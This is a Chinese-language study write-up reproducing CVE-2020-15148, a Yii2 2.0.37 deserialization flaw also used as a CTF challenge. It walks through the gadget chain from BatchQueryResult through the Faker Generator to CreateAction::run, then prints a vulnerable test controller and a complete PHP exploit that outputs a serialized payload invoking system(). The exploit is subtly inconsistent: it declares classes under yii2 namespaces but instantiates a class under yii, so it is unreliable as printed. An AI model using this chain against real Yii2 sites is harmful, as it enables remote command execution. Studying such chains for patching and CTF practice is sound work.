Web CVE-2020-15148 Yii2 代码审计
学习学习实战代码审计,听群里的人说实战练习代码审计反序列化,CVE-2020-15148是一篇不错的技术复现文章,我在想呜呜呜,我普通反序列化还没学明白,这个就开始了实战吗,不过最近好多比赛也都会选cms来出题,也逐渐贴近于实战了,复现一篇cve也是不错的,本篇复现来进行学习,也加深了反序列化在实战中审计技巧,这个cve也是ctfshow的web267
Web Yii2实战代码审计 反序列化学习
Yii2 2.0.37 代码审计
漏洞触发点用全局搜索__destruct(),在BatchQueryResult文件里,vendoryiisoftyii2dbBatchQueryResult.php
跟进reset函数,this->_dataReader可控,然后去调用close()函数,也就是可以调用一个不存在的函数方法可以触发__call(),我们全局查找可以利用的 __callc(),来实现下一步的利用
在vendorfzaninottofakersrc FakerGenerator.php有个__call
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
继续跟进getFormatter:
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
我们发现formatters可控,也就代表返回值是关于formatters的值,其实它是个array,在format参赛一是可控的,他可以实列化,通过call_user_func_array去掉用,我们需要一个无参数传递,这里就想到了一个函数call_user_func,我们需要查找一个可以直接可控参数的call_user_func的地方,利用全局搜索这里我们选择了在yiisoftyii2dbrestCreateAction.php下的run()---->call_user_func,
/**
* @return ActiveDataProvider
*/
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
发现这里只要控制好checkAccess和id就可以完成一个rce的操作,这里利用__construct()魔改函数来赋值,几乎每个初始值都用这个魔改函数来设置
具体的链子我们已经找完,下面就可以形成思路来写poc
思路:
我们用vendoryiisoftyii2dbBatchQueryResult.php的__destruct魔改函数下的reset---->close()来传递个私有变量来触发Generator下的—_call()函数,再用getFormatter来控制传参,在getFormatter函数里是个数组的形式传参,通过这个地方直接无参数进行调用即可
利用__construct()来定义初始值,我们无参数的函数在CreateAction.php里,我们给它传参[new CreateAction(), 'run'],实列化后去调用run函数,在上面的CreateAction里我们已经用 __construce()已经定义好了system
我们在yii目录下的controllers建个路由Contruller.php,来触发反序列化
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
class TestController extends \yii\web\Controller
{
public function actionSss($data){
return unserialize(base64_decode($data));
}
}
?>
exp:
<?php
namespace yii2\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii2\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii2\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;//这里用来触发Generator的__call()函数
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
在2.0.38之后BatchQueryResult的类不起作用,所以这时我们要寻找另一个触发点,这个触发点在RUNProcess下,直接构建如下链即可
CodeceptionExtensionRunProcess::__destruct() -> FakerGenerator::__call() -> yiirestIndexAction::run()
后续更新(未完)